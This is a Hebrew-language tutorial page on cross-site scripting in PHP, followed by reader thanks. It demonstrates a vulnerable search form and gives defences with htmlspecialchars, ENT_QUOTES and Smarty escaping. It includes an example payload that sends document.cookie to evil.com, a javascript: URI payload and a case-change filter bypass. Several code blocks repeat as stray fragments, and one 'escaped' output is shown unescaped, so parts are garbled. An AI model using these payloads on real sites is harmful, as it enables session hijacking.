סכנות ודרכי הגנה נגד הזרקות HTML.
מה זה XSS?
קצת על HTTP, HTML והדפדפן
* החלק הבא הוא אופציונלי ומאפשר הבנה טובה יותר של הנושא אך אין הוא דרוש להמשך המדריך
כאשר נכנסים לאתר אינטרנט הדפדפן שבו אנחנו משתמשים עושה מספר פעולות שבסופם הוא מקבל פלט כלשהו מהשרת. השפה שבה הדפדפן מתקשר עם שרת האינטרנט נקראת HTTP שאלו ראשי התיבות ל-Hyper Text Transfer Protocol. בקשות האינטרנט מתחלקות לשני סוגים עיקריים בקשות POST ובקשות GET, כאשר בקשות GET מבקשות משאב מסויים מהשרת ובקשות POST עושות פעולה כלשהיא. לדוגמה אם אנחנו מעוניינים לצפות בתמונה כלשהי על השרת אנחנו יכולים להיכנס ל-URL הבא:
http://example.com/images/lolcat.jpeg
כאשר מכניסים את ה-URL הבא לשורת הדפדפן, הוא עושה מספר פעולות. הוא מפרק את ה-URL לשלושה חלקים, החלק הראשון זה הפרוטוקול שבו משתמשים במקרה הזה HTTP ולאחריו נקודתיים וסלאש כפול. ישנם פרוטוקולים נוספים שבהתאם לדפדפן יכולים להיתמך או לא, לדוגמה FTP:// יתחבר לשרת באמצעות פרוטוקול FTP ולא HTTP, ו-HTTPS:// יתחבר לשרת בצורה מאובטחת מעל הצפנת SSL. לאחר מכן מגיע החלק של ה-host או שם השרת שאליו אנחנו מעוניינים להתחבר, שבמקרה הזה מדובר ב-example.com ולאחריו מגיע המשאב שאותו אנחנו מעוניינים לקבל מהשרת, במקרה הזה:
/images/lolcat.jpeg
השרת יקבל את הבקשה וברוב המקרים יחפש קובץ ב-שם images/lolcat.jpeg על השרת ויחזיר את התוכן שלו לדפדפן (ברוב המקרים כיוון שניתן לכתוב סקריפט שיבצע פעולות אחרות במקרה כזה).
ניתן להעביר פרמטרים לשרת באמצעות התחביר הבא:
http://example.com/script.php?name=value&name2=value2
במקרה שמותקן מפרש PHP על השרת כאשר השרת יתקל ב-URL כזה במקום להחזיר את התוכן של script.php הוא יריץ אותו בתור תוכנה עצמאית. PHP תנתח את ה-URL ותייצר ממנו מספר משתנים גלובליים למתכנת, במקרה הזה היא תיצור מערך אסוציאטיבי (שהמפתחות בו הם שמות ולא מספרים) בשם $_GET ותכניס לתוכו את המפתח name עם הערך value ואת המפתח name2 עם הערך value2
<?php
echo $_GET['name']; // output: value
echo $_GET['name2']; // output: value2
?>
echo $_GET['name']; // output: value
echo $_GET['name2']; // output: value2
?>
בקשת POST פועלת באותה הדרך אך היא שונה מעט כאשר הפרמטרים שמועברים דרך הבקשה לא מופיעים ב-URL אלא נשלחים בגוף בקשת ה-HTTP.
XSS
באפליקציות PHP הרבה פעמים נרצה להשתמש בקלט של המשתמש בשביל להציג את הדף בדרך מסוימת. לדוגמה בחיפוש באתר נרצה שמחרוזת החיפוש של המשתמש תופיע בתוך שדה ה-text:
<?
function search_user($query) {
$conn = mysql_connect('localhost', 'user', 'pass');
mysql_select_db('database');
$result = mysql_query("SELECT id, username, description from Users where username like '%" . mysql_real_escape_string($query) . "%'");
return $result;
}
$q = isset($_GET['query']) ? $_GET['query']:'';
?>
<form action="" method="get">
query: <input type="text" name="query" id="query" value="<?=$q?>" />
<input type="submit" value="search" id="submit" name="submit" />
</form>
<?
if ($q) {
$results = search_user($q);
while ($row = mysql_fetch_assoc($results)) {
echo "<div class='search-result'>";
echo "<a href='/users/" . $row['id'] . "'>" . $row['username'] . "</a>";
echo "<p>" . $row['description'] . "</p>";
echo "</div>";
}
}
?>
function search_user($query) {
$conn = mysql_connect('localhost', 'user', 'pass');
mysql_select_db('database');
$result = mysql_query("SELECT id, username, description from Users where username like '%" . mysql_real_escape_string($query) . "%'");
return $result;
}
$q = isset($_GET['query']) ? $_GET['query']:'';
?>
<form action="" method="get">
query: <input type="text" name="query" id="query" value="<?=$q?>" />
<input type="submit" value="search" id="submit" name="submit" />
</form>
<?
if ($q) {
$results = search_user($q);
while ($row = mysql_fetch_assoc($results)) {
echo "<div class='search-result'>";
echo "<a href='/users/" . $row['id'] . "'>" . $row['username'] . "</a>";
echo "<p>" . $row['description'] . "</p>";
echo "</div>";
}
}
?>
שימו לב לשורה הבאה:
query: <input type="text" name="query" id="query" value="<?=$q?>" />
אנחנו לוקחים את הקלט של המשתמש ומכניסים אותו לתוך שדה ה-value של שורת החיפוש. זה שימושי במקרים מסוימים כמו בדוגמה הזו שנרצה להקל על המשתמש שאולי שגה בדרך שבה הוא כתב את השם או לשנות את מחרוזת החיפוש שלו בכדי לקבל תוצאות יותר רלוונטיות. כשאני נכנס ל-URL הבא:
http://example.com/script.php?query=ad
הפלט שאני מקבל הוא זה:
<form action="" method="get">
query:
<input type="text" name="query" id="query" value="ad" />
<input type="submit" value="search" id="submit" name="submit" />
</form>
<div class="search-result">
<a href="/users/0">
admin
</a>
<p>
this is the administrator description
</p>
</div>
<div class="search-result">
<a href="/users/1">
adam
</a>
<p>
some testing strings here
</p>
</div>
query:
<input type="text" name="query" id="query" value="ad" />
<input type="submit" value="search" id="submit" name="submit" />
</form>
<div class="search-result">
<a href="/users/0">
admin
</a>
<p>
this is the administrator description
</p>
</div>
<div class="search-result">
<a href="/users/1">
adam
</a>
<p>
some testing strings here
</p>
</div>
הערך שהכנסו בחיפוש מופיע בתוך קוד המקור. מה יקרה אם נכניס ערכים אחרים?
http://example.com/script.php?query=hack” style="color:red
הפלט שנקבל הוא:
<form action="" method="get">
query: <input type="text" name="query" id="query" value="ad" style="color:red" />
<input type="submit" value="search" id="submit" name="submit" />
</form>
query: <input type="text" name="query" id="query" value="ad" style="color:red" />
<input type="submit" value="search" id="submit" name="submit" />
</form>
הדפדפן לא מסוגל להבחין בהבדל שבן הקוד שלנו לבין הקלט של המשתמש, ולכן ה-html הנוצר מפוענח על ידי הדפדפן כפי שהוא ועל ידי הכנסת קלט מסוים כלשהו הצלחנו לגרום לעמוד להשתנות.
זה נקרא HTML Injection או XSS שזה ראשי תיבות Cross Site Scripting (עם X במקום C). בגלל שאין לדפדפן שום דרך להבדיל בין קוד לקלט משתמש תוקף יכול לנצל את המתקפה ולפגוע במשתמשים ובאתר. לדוגמה תוקף יכול ליצור את ה-URL הבא:
http://localhost/x.php?query="><script>new Image().src = 'http://evil.com/evilscript.php?cookie='%2bescape(document.cookie);</script>
בתוך קוד המקור יופיע:
<form action="" method="get">
query: <input type="text" name="query" id="query" value=""><script>new Image().src = 'http://evil.com/evilscript.php?cookie='+escape(document.cookie);</script>" />
<input type="submit" value="search" />
</form>
query: <input type="text" name="query" id="query" value=""><script>new Image().src = 'http://evil.com/evilscript.php?cookie='+escape(document.cookie);</script>" />
<input type="submit" value="search" />
</form>
תגיות ה-script מאפשרות לתוקף להכניס קוד javascript שבאמצעותו התוקף שולח את עוגיות המשתמש לשרת שנמצא בשליטתו. לאחר מכן הוא יכול לשלוח מייל לבעל האתר עם ה-URL המסוכן (ניתן להסוות אותו באמצעות שירותים לקיצור URL) לחטוף את העוגיות של האדמין ולהתחבר ללוח הניהול של המערכת.
XSS קבוע
הדוגמה הקודמת דיברה על XSS זמני, או XSS שבו נדרשת התערבות משתמש בכדי שתוקף יוכל לנצל אותה (כניסה ל-URL עם הקוד הבעייתי). אך ישנו סוג נוסף של XSS שנמצא במקומות שבהם שומרים את המידע ומציגים אותו למשתמש בהמשך כמו טפסי הרשמה או מערכות תגובה. לדוגמה בהרשמה לאתר המשתמש מספק לנו פרטים שאנחנו לאחר מכן מכניסים לבסיס הנתונים כמו שם המשתמש הסיסמה והאימייל. במקרה שבו נציג את הפרטים של המשתמש (לדוגמה בחלק התחתון של פורום שבו נציג משתמשים חדשים שהצטרפו לאתר) תוקף יכול לנצל את זה בכדי להכניס קוד HTML ולעשות דפייס לעמוד (להציג תוכן משלו כמו "האתר הזה נפרץ על ידי l33tCracker”).
סיכום ביניים
XSS היא מתקפה מאוד מסוכנת שיכולה לאפשר לתוקף השתלטות מלאה על האתר והרס חלקים נרחבים ממנו. לא ניתן לסמוך על קלט משתמש שעלול לנצל פונקציות במערכת בכדי לקבל גישה לחלקים סגורים במקרה הטוב או להרוס את האתר במקרה הפחות טוב.
דרכי הגנה
black list
ישנם אתרים שמשתמשים במערכת לסינון מילים/ביטויים מסוימים מקלט המשתמש בכדי למנוע XSS. זו דרך שתמיד תהיה רעה כיוון שישנם צירופים רבים של מחרוזות שיכולים לאפשר לתוקף לנצל את המתקפה. לדוגמה סינון של תגיות script באמצעות regex שהוא סינון נפוץ:
function xss_filter($str) {
return preg_replace("/<script.+>.+<\/script>/", '', $str);
}
echo xss_filter("hello world<script>alert('XSS');</script>");
output: hello world
return preg_replace("/<script.+>.+<\/script>/", '', $str);
}
echo xss_filter("hello world<script>alert('XSS');</script>");
output: hello world
המסנן הזה יתפוס מקרים מאוד פשוטים, אך כל מה שצריך בכדי לעבור אותו הוא לשנות את המילה script למילה SCRIPT ומכיוון שלא הוספנו דגל i (שיתפוס ביטויים באותיות קטנות או גדולות) אז המסנן הזה לא יפעל.
ישנם מסננים שתופסים הרבה יותר אפשרויות, אך אין שום מסנן שמבוסס על רשימה שחורה של ביטויים שיכול להבטיח שתוקף לא יוכל לעבור אותו.
htmlspecialchars וייצוג HTML
הדרך הנכונה והמומלצת למניעת XSS היא תרגום של תווים בעייתיים לתווי תצוגה ב-HTML. אם נרצה להציג לדוגמה את התו < בדפדפן נשתמש ב-<, הדפדפן לא יתייחס אל הייצוג הזה כחלק מן הקוד אלא יציג אותו למשתמש כתו <.
ב-PHP ישנה פונקציה שנקראת htmlspecialchars שעושה את ההמרה לתווי ייצוג HTML בצורה אוטומטית. דוגמה לשימוש בדוגמאת החיפוש של קודם:
<?php
function search_user($query) {
$conn = mysql_connect('localhost', 'user', 'pass');
mysql_select_db('database');
$result = mysql_query("SELECT id, username, description from Users where username like '%" . mysql_real_escape_string($query) . "%'");
return $result;
}
$q = isset($_GET['query']) ? $_GET['query']:'';
?>
<form action="" method="get">
query: <input type="text" name="query" id="query" value="<?=htmlspecialchars($q); ?>" />
<input type="submit" value="search" id="submit" name="submit" />
</form>
<?
if ($q) {
$results = search_user($q);
while ($row = mysql_fetch_assoc($results)) {
echo "<div class='search-result'>";
echo "<a href='/users/" . $row['id'] . "'>" . $row['username'] . "</a>";
echo "<p>" . $row['description'] . "</p>";
echo "</div>";
}
}
function search_user($query) {
$conn = mysql_connect('localhost', 'user', 'pass');
mysql_select_db('database');
$result = mysql_query("SELECT id, username, description from Users where username like '%" . mysql_real_escape_string($query) . "%'");
return $result;
}
$q = isset($_GET['query']) ? $_GET['query']:'';
?>
<form action="" method="get">
query: <input type="text" name="query" id="query" value="<?=htmlspecialchars($q); ?>" />
<input type="submit" value="search" id="submit" name="submit" />
</form>
<?
if ($q) {
$results = search_user($q);
while ($row = mysql_fetch_assoc($results)) {
echo "<div class='search-result'>";
echo "<a href='/users/" . $row['id'] . "'>" . $row['username'] . "</a>";
echo "<p>" . $row['description'] . "</p>";
echo "</div>";
}
}
בדפדפן אני מכניס את ה-URL הבא:
http://example.com/script.php?query=”><script>alert(“XSS”);</script>
והפלט שאני מקבל:
<form action="" method="get">
query: <input type="text" name="query" id="query" value=""><script>alert("XSS");</script>" />
<input type="submit" value="search" />
</form>
query: <input type="text" name="query" id="query" value=""><script>alert("XSS");</script>" />
<input type="submit" value="search" />
</form>
הפונקציה המירה את כל התווים הבעייתים לייצוג ה-HTML שלהם ומנעה XSS. אך תוקף יכול להשתמש בתווים בקידוד מולטי-בייט שונה בשביל להבריח מידע דרך המסנן או בשימוש ב-' יחיד שבברירת המחדל לא מסונן. בשביל למנוע את זה צריך להשתמש באופציה ENT_QUOTES ל-htmlspecialchars בדרך הבאה:
echo htmlspecialchars($input, ENT_QUOTES);
אך עדיין יש דרכים לנצל את המתקפה גם עם סינון תווים בעייתים לדוגמה בשימוש בתווים מותרים במקומות אסטרטגיים:
$img_id = $_GET['img'];
echo “You are viewing image number: $img_id<br />”;
echo “<img src='$img_id.jpg' />”;
echo “You are viewing image number: $img_id<br />”;
echo “<img src='$img_id.jpg' />”;
התוקף יכול ליצור URL כזה:
http://example.com/script.php?img=javascript:alert(String.fromCharCode(120,115,115));//
הפלט:
You are viewing image number: javascript:alert(String.fromCharCode(120, 115, 115));//<br /><img src='javascript:alert(String.fromCharCode(120, 115, 115));//.jpg' />
אין הרבה שניתן לעשות בכדי למנוע מקרים כאלה ולכן עדיף בהכנסת ערכים לתכונות כמו src של אלמנטי HTML לבדוק שהערך מתחיל ב-path קבוע (לדוגמה /images) או בתו /.
סיכום
XSS היא מתקפה שיכולה להיות הרסנית לאתר, במהלך השנים פותחו שיטות רבות לעבור מסננים שונים בכדי לנצל אותה. מתכנתי PHP צריכים להיות מודעים להשלכות של המתקפה ולדרכים שבהם היא פועלת בכדי לכתוב קוד בטוח, בניגוד למתקפות אחרות קשה להגן מפני XSS בצורה מלאה וצריכים להיות מודעים להשלכות של ביטויים תוך כדי כתיבת הקוד. בשביל להוריד את הסיכויים לקיומו של הבאג הדרך המומלצת לעבוד היא באמצעות מתודולוגית MVC ובעיקר הפרדה של ה-templates מהקוד, כך ניתן ליצור מסנן גלובאלי יעיל. ב-smarty (שהיא מערכת templates) ישנה אופציה להוסיף פונקציות גלובאליות לטיפול במשתנים, בשביל למנוע XSS ניתן להוסיף את האופציה הזו:
$smarty->default_modifiers = array('escape:htmlall');
שתסנן את המשתנים בצורה אוטומטית.
תגובות לכתבה:
תודה מדריך שלם מורחב ויעיל מאוד , כל הכבוד .
מדריך מעולה, תודה רבה וכל הכבוד. :)
תודה רבה, עזר לי מאוד באבטחת האתר.
מדריך מעולה!!! ממש תודה רבה
מדריך מאוד מורחב ויפה.
אחלה אתר אהבתי את המדריך
תודה רבה.
מדריך מעולה!
אלכס, יהיה נחמד אם תתקן:
$smarty->default_modifiers = array('escape:htmlall');
ל:
$smarty->default_modifiers = array('escape:"htmlall"');
חסר לך שם גרש :).
תודה בן ותודה למי שתיקן את זה לפני :)